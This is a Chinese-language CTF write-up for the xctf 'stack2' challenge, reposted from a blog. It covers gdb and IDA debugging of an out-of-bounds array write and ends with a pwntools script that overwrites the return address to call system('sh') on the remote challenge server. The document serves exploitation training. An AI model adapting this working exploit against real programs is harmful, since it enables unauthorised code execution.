首页 > 数据库技术 > 详细

xctf---stack2 | gdb&IDA 调试

时间:2020-07-10 17:28:37      阅读:68      评论:0      收藏:0      [点我收藏+]

调试错误 | 忽视汇编代码

技术分享图片

#@zer0_1s:调试0x0001
gdb ./stack2
disas main
b * 0x08048834  //new num scanf 输入7测试
b *  0x080488f2//ret

技术分享图片

技术分享图片
技术分享图片
技术分享图片

正确调试 | 汇编+源码分析

从下图可知:第一次Give me your number,v13[0]=v7,即有办法确定函数的首地址,
技术分享图片
在0x080486BD处可以锁定scanf的位置
技术分享图片
在call scanf之前先eax=&(ebp+var_88),栈地址压栈(指针入栈),只读字符串"%d"入栈,输入的数会由指针指向,*(ebp+var_88)=输入,经由eax=输入,ecx=输入,mov [eax],cl相当于[m]=cl=>eax:m->cl(输入),v13的首地址即是此时的eax.
技术分享图片

gdb ./stack2
b *0x080486D5
b *0x080488f2
r
输入 1 1(分开的)
b *0x80486d7

技术分享图片

技术分享图片
技术分享图片

偏移量0x84=132
本地跑的通,但是远程不行。
技术分享图片
技术分享图片
借助/bin/bash可以提取出sh,而system函数不能用原来的,所以相当于第一次调用,system@plt
技术分享图片
技术分享图片

技术分享图片
技术分享图片
脚本来源

from pwn import *
#context.log_level = ‘debug‘

r = remote("220.249.52.133",56558)
#r = process("./stack2")

r.recvuntil("How many numbers you have:\n")
r.sendline("1")
r.recvuntil("Give me your numbers\n")
r.sendline("1")

def change(addr, num):
    r.recvuntil("5. exit\n")
    r.sendline("3")
    r.recvuntil("which number to change:\n")
    r.sendline(str(addr))
    r.recvuntil("new number:\n")
    r.sendline(str(num))

change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)

r.sendline("5")

r.interactive()

参考

xctf---stack2 | gdb&IDA 调试

原文:https://www.cnblogs.com/zuoanfengxi/p/13269220.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!